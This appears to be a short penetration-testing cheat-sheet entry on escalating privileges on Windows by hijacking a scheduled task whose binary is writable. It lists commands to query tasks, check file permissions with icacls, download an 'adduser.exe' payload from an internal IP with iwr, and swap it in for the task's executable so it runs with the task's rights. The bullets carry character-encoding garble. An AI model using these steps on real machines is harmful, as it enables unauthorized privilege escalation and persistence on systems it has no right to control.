Task Scheduler/Cron Job
Β· schtasks /query /fo LIST /v (find taskName: \Microsoft\CacheCleanup)
Β· icacls C:\Users\noman\Pictures\Cleanup.exe user (I)(F) permission required)
β’ iwr -Uri http://192.168.10.10/adduser.exe -Outfile Cleanup.exe
β’ move .\Pictures\BackendCacheCleanup.exe Cleanup.exe.bak
β’ move .\Cleanup.exe .\Pictures\ (waiting for the execution and put file just one before the folder)Last updated